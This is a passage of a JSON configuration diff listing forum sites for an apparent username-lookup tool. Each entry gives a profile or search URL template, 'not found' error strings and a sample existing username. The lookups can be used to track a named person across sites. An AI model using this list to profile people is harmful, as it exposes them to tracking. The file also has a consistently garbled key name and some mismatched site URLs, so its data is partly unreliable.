"exclusion": "\\W", + "url": "https://oopkmoskva.ucoz.ru/index/8-0-{}", + "urlMain": "https://oopkmoskva.ucoz.ru", + "usernameON": "standartserves", + "bad_site": "" + }, + "Forum_open-chess": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://www.open-chess.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.open-chess.org", + "usernameON": "karakaniec", + "bad_site": "" + }, + "Forum_open_vanillaforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://open.vanillaforums.com/profile/{}", + "urlMain": "https://open.vanillaforums.com", + "usernameON": "haryono", + "bad_site": "" + }, + "Forum_openai": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://community.openai.com/u/{}", + "urlMain": "https://community.openai.com", + "usernameON": "haktan", + "bad_site": "" + }, + "Forum_openframeworks": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://forum.openframeworks.cc/u/{}/summary", + "urlMain": "https://forum.openframeworks.cc", + "usernameON": "red", + "bad_site": "" + }, + "Forum_opennebula": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.inductiveautomation.com/u/{}/summary", + "urlMain": "https://forum.opennebula.io", + "usernameON": "vani161998", + "bad_site": "" + }, + "Forum_openoffice": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://forum.openoffice.org/en/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.openoffice.org", + "usernameON": "Diane9576", + "bad_site": "" + }, + "Forum_openstreetmap": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.openstreetmap.fr/u/{}/summary", + "urlMain": "https://forum.openstreetmap.fr", + "usernameON": "gendy54", + "bad_site": "" + }, + "Forum_opensuse": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.opensuse.org/u/{}/summary", + "urlMain": "https://forums.opensuse.org", + "usernameON": "someuser7852", + "bad_site": "" + }, + "Forum_openwrt": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "data-preloaded=\"{"search":"{\\"posts\\":[],\\"users\\":[]", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.openwrt.org/search?q={}&search_type=users", + "urlMain": "https://forum.openwrt.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_optima": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.optimaforums.com/members/?username={}", + "urlMain": "https://www.optimaforums.com", + "usernameON": "aiden15", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_optina": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.optina.ru/search/?q={}&type=core_members", + "urlMain": "https://forum.optina.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_oranj": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oranj.3dn.ru/index/8-0-{}", + "urlMain": "https://oranj.3dn.ru", + "usernameON": "kraudsmart803", + "bad_site": "" + }, + "Forum_orbiter": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.orbiter-forum.com/members/?username={}", + "urlMain": "https://www.orbiter-forum.com/", + "usernameON": "dgatsoulis", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_orbito": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://orbito.ucoz.ru/index/8-0-{}", + "urlMain": "https://orbito.ucoz.ru", + "usernameON": "keynbr", + "bad_site": "" + }, + "Forum_orchideus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://orchideus.ucoz.net/index/8-0-{}", + "urlMain": "http://orchideus.ucoz.net", + "usernameON": "Falcon", + "bad_site": "" + }, + "Forum_ord": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ord.at.ua/index/8-0-{}", + "urlMain": "https://ord.at.ua", + "usernameON": "thompson1986", + "bad_site": "" + }, + "Forum_orelhunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 обнаружено совпадений всего на сайте", + "errorMsg2": "0 Ïîëüçîâàòåëè íàéäåíî", + "errorMsg3": "Аккаунт заблокирован", + "errorTyp��": "message", + "url": "https://www.orelhunter.ru/search.php?stext={}", + "urlMain": "https://www.orelhunter.ru", + "usernameON": "zevocixy", + "bad_site": "" + }, + "Forum_org-invalid": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://org-invalid-sov.ucoz.ru/index/8-0-{}", + "urlMain": "https://org-invalid-sov.ucoz.ru", + "usernameON": "Riminy", + "bad_site": "" + }, + "Forum_originalpw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorTyp��": "message", + "url": "https://forum.originalpw.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.originalpw.com", + "usernameON": "FIESTA", + "bad_site": "" + }, + "Forum_orth": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://orth.ucoz.ru/index/8-0-{}", + "urlMain": "https://orth.ucoz.ru", + "usernameON": "svv", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_orthodox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://orthodox.3dn.ru/index/8-0-{}", + "urlMain": "https://orthodox.3dn.ru", + "usernameON": "rob3k", + "bad_site": "" + }, + "Forum_oscraps": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://oscraps.com/community/members/?username={}", + "urlMain": "https://oscraps.com", + "usernameON": "prospurring", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oslobodjenje": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Ništa nije pronađeno.", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.sport1.oslobodjenje.ba/memberlist.php?username={}", + "urlMain": "https://forum.sport1.oslobodjenje.ba", + "usernameON": "ARBET", + "bad_site": "" + }, + "Forum_ostrov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ostrov.ucoz.net/index/8-0-{}", + "urlMain": "https://ostrov.ucoz.net", + "usernameON": "DENI30S", + "bad_site": "" + }, + "Forum_Oszone": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://forum.oszone.net/member.php?username={}", + "urlMain": "http://forum.oszone.net", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_otelefonax": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://otelefonax.ucoz.ru/index/8-0-{}", + "urlMain": "https://otelefonax.ucoz.ru", + "usernameON": "Christophernot", + "bad_site": "" + }, + "Forum_otlichnica": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://otlichnica.ucoz.ru/index/8-0-{}", + "urlMain": "http://otlichnica.ucoz.ru/", + "usernameON": "iamlovergirl97", + "bad_site": "" + }, + "Forum_otpm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://otpm.do.am/index/8-0-{}", + "urlMain": "https://otpm.do.am", + "usernameON": "ua4lor", + "bad_site": "" + }, + "Forum_otzyvby": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не зарегистрирован", + "errorMsg2": "с вашего IP-адреса", + "errorTyp��": "message", + "url": "https://otzyv.ru/reguser.php?poisk={}", + "urlMain": "https://otzyv.ru", + "usernameON": "Elena31", + "bad_site": "" + }, + "Forum_ourbeagleworld": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ourbeagleworld.com/members/?username={}", + "urlMain": "https://www.ourbeagleworld.com", + "usernameON": "lovebeagles", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ourdjtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://ourdjtalk.com/djs/?username={}", + "urlMain": "https://ourdjtalk.com", + "usernameON": "spincin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ourflowers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ourflowers.ucoz.ru/index/8-0-{}", + "urlMain": "https://ourflowers.ucoz.ru", + "usernameON": "kirikibus23", + "bad_site": "" + }, + "Forum_ourperevoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ourperevoz.ucoz.ru/index/8-0-{}", + "urlMain": "https://ourperevoz.ucoz.ru", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_ourtravels": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ourtravels.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&sid=d95024f932e887fccc0e58315bcd2b5d&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ourtravels.ru/", + "usernameON": "Maria", + "bad_site": "" + }, + "Forum_outdoors911": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered ", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.outdoors911.com/reports/member.php?username={}", + "urlMain": "https://www.montanaowners.com", + "usernameON": "Legend1958", + "bad_site": "" + }, + "Forum_outdoorsdirectory": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.outdoorsdirectory.com/members/?username={}", + "urlMain": "https://forums.outdoorsdirectory.com", + "usernameON": "leryt", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_outpostgallifrey": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://outpostgallifrey.com/members/?username={}", + "urlMain": "https://outpostgallifrey.com", + "usernameON": "rocco", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ovcharka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ovcharka.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://ovcharka.kamrbb.ru", + "usernameON": "Tuadash", + "bad_site": "" + }, + "Forum_over50schat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.over50schat.com/u/{}/summary", + "urlMain": "https://forum.over50schat.com", + "usernameON": "flowerpower", + "bad_site": "" + }, + "Forum_overclock": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.overclock.net/members/?username={}", + "urlMain": "https://www.overclock.net/", + "usernameON": "chipp", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Overclockers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.overclockers.ru/memberlist.php?username={}", + "urlMain": "https://forums.overclockers.ru", + "usernameON": "patisson", + "bad_site": "" + }, + "Forum_ovo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ovo.ucoz.ru/index/8-0-{}", + "urlMain": "http://ovo.ucoz.ru/", + "usernameON": "Vitu", + "bad_site": "" + }, + "Forum_ovtsoft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ovtsoft.3dn.ru/index/8-0-{}", + "urlMain": "https://ovtsoft.3dn.ru", + "usernameON": "mpg25music", + "bad_site": "" + }, + "Forum_paboma": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paboma.ucoz.ru/index/8-0-{}", + "urlMain": "https://paboma.ucoz.ru", + "usernameON": "paboma", + "bad_site": "" + }, + "Forum_packer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.packerforum.com/members/?username={}", + "urlMain": "https://www.packerforum.com", + "usernameON": "weeds", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pagohku": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pagohku.ucoz.ru/index/8-0-{}", + "urlMain": "https://pagohku.ucoz.ru", + "usernameON": "askutov123", + "bad_site": "" + }, + "Forum_paid-to-click": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paid-to-click.ucoz.ru/index/8-0-{}", + "urlMain": "https://paid-to-click.ucoz.ru", + "usernameON": "%D0%A8%D1%80%D1%83%D1%81", + "bad_site": "" + }, + "Forum_palemoon": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Pale Moon forum - Information", + "errorTyp��": "message", + "url": "https://forum.palemoon.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.palemoon.org", + "usernameON": "Moonchild", + "bad_site": "" + }, + "Forum_palomniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Ошибка", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://palomniki.su/forum/profile/user-8-0-{}", + "urlMain": "http://palomniki.su", + "usernameON": "rius", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_panda3d": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://panda3d.org.ru/index/8-0-{}", + "urlMain": "http://panda3d.org.ru", + "usernameON": "ninth", + "bad_site": "" + }, + "Forum_pandawow": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "ipsAreaBackground_light ipsType_center ipsPad", + "errorTyp��": "message", + "url": "https://forum.pandawow.me/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.pandawow.me", + "usernameON": "buka", + "bad_site": "" + }, + "Forum_panigalev4club": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.panigalev4club.com/members/?username={}", + "urlMain": "https://www.panigalev4club.com/", + "usernameON": "admin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Panzer35": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://panzer35.ru/index/8-0-{}", + "urlMain": "http://panzer35.ru", + "usernameON": "Loki", + "bad_site": "" + }, + "Forum_papillonomania": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://papilon-falen.my1.ru/index/8-0-{}", + "urlMain": "https://papilon-falen.my1.ru", + "usernameON": "Антонитт", + "bad_site": "" + }, + "Forum_paranormal-news": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "http://paranormal-news.ru/index/8-0-{}", + "urlMain": "http://paranormal-news.ru", + "usernameON": "aeroy", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_parasha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://parasha.do.am/index/8-0-{}", + "urlMain": "https://parasha.do.am", + "usernameON": "maximumextreeme", + "bad_site": "" + }, + "Forum_parents41": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "Сделать сайт просто", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://parents41.ru/index/8-0-{}", + "urlMain": "http://parents41.ru", + "usernameON": "Astary", + "comments": "bad", + "bad_site": 1 + }, + "Forum_parikmaher": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено: 0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://parikmaher.net.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://parikmaher.net.ru", + "usernameON": "sveta9630", + "bad_site": "" + }, + "Forum_parrotpilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://parrotpilots.com/members/?username={}", + "urlMain": "https://parrotpilots.com", + "usernameON": "captainmavic", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_partsdr": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum.partsdr.com/member.php?username={}", + "urlMain": "https://forum.partsdr.com", + "usernameON": "Smarsh", + "bad_site": "" + }, + "Forum_Partyanimals": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "status_code", + "url": "https://forum.partyanimals.com/u/{}", + "urlMain": "https://forum.partyanimals.com", + "usernameON": "HighJack", + "bad_site": "" + }, + "Forum_pascalgamedevelopment": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.pascalgamedevelopment.com/member.php?username={}", + "urlMain": "https://www.pascalgamedevelopment.com", + "usernameON": "hkhkqoo", + "bad_site": "" + }, + "Forum_paulsat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paulsat.ucoz.ru/index/8-0-{}", + "urlMain": "https://paulsat.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_pavlovskyposad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Павловский Посад.ру - Информация", + "errorTyp��": "message", + "url": "http://forum.pavlovskyposad.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.pavlovskyposad.ru", + "usernameON": "zandr", + "bad_site": "" + }, + "Forum_pbi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pbi.my1.ru/index/8-0-{}", + "urlMain": "https://pbi.my1.ru/", + "usernameON": "codeflare", + "bad_site": "" + }, + "Forum_pcformat": { + "country": "🇵🇱", + "country_klas": "PL", + "errorTyp��": "status_code", + "url": "https://forum.pcformat.pl/{}-u", + "urlMain": "https://forum.pcformat.pl", + "usernameON": "raxer", + "bad_site": 1 + }, + "Forum_peklama_3dn": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://peklama.3dn.ru/index/8-0-{}", + "urlMain": "https://peklama.3dn.ru", + "usernameON": "arman02151", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pembrokcity": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pembrokcity.borda.ru/?32-{}", + "urlMain": "https://pembrokcity.borda.ru", + "usernameON": "fata", + "bad_site": "" + }, + "Forum_peredovaj": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.mus-peredovaj.ru/index/8-0-{}", + "urlMain": "http://www.mus-peredovaj.ru", + "usernameON": "ivanovvv817", + "bad_site": "" + }, + "Forum_pereval1959": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pereval1959.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://pereval1959.kamrbb.ru", + "usernameON": "%CF%EE%F7%E5%EC%F3%F7%EA%E0", + "bad_site": "" + }, + "Forum_perevodchik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://perevodchik-s-s.do.am/index/8-0-{}", + "urlMain": "https://perevodchik-s-s.do.am", + "usernameON": "hvttalatathui11", + "comments": "cf", + "bad_site": "" + }, + "Forum_perfect": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://perfect.ucoz.de/index/8-0-{}", + "urlMain": "http://perfect.ucoz.de", + "usernameON": "RomaOppop", + "bad_site": "" + }, + "Forum_perfectweddings": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.perfectweddings.sg/weddingforum/members/?username={}", + "urlMain": "https://www.perfectweddings.sg", + "usernameON": "dipaa", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pes_soccer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pes-files.ru/index/8-0-{}", + "urlMain": "https://pes-files.ru", + "usernameON": "Drobjij", + "bad_site": "" + }, + "Forum_pet-s": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pet-s.ucoz.ru/index/8-0-{}", + "urlMain": "https://pet-s.ucoz.ru/", + "usernameON": "katya1931", + "bad_site": "" + }, + "Forum_petgb": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.petforums.co.uk/members/?username={}", + "urlMain": "https://www.petforums.co.uk", + "usernameON": "peterjosy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_petropavlovka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.petropavlovka.my1.ru/index/8-0-{}", + "urlMain": "https://www.petropavlovka.my1.ru/", + "usernameON": "Fire4ik", + "bad_site": "" + }, + "Forum_pf-v": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "одождите", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://pf-v.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://pf-v.ru/", + "usernameON": "oxy", + "bad_site": "" + }, + "Forum_phantomhelp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.phantomhelp.com/u/{}/summary", + "urlMain": "https://forum.phantomhelp.com", + "usernameON": "bob32014", + "bad_site": "" + }, + "Forum_phantompilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://phantompilots.com/members/?username={}", + "urlMain": "https://phantompilots.com", + "usernameON": "steve12321", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_philippe-fournier": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum2.philippe-fournier-viger.com/search.php?keywords=&terms=all&author={}=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum2.philippe-fournier-viger.com", + "usernameON": "Alva&sc", + "bad_site": "" + }, + "Forum_philosophicalvegan": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://philosophicalvegan.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://philosophicalvegan.com", + "usernameON": "Hey", + "bad_site": "" + }, + "Forum_phoenixrising": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.phoenixrising.me/members/?username={}", + "urlMain": "https://forums.phoenixrising.me", + "usernameON": "pattismith", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_phoneamommy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.phoneamommy.com/Board/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.phoneamommy.com", + "usernameON": "SitterStacie", + "bad_site": "" + }, + "Forum_photographyreview": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Sorry", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://forums.photographyreview.com/member.php?username={}", + "urlMain": "http://forums.photographyreview.com", + "usernameON": "Weskee32", + "bad_site": "" + }, + "Forum_photographytalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "div id=\"system-message\">", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.photographytalk.com/forum/search?searchuser={}&childforums=1", + "urlMain": "https://www.naturescapes.net", + "usernameON": "esseff", + "bad_site": "" + }, + "Forum_photos": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + 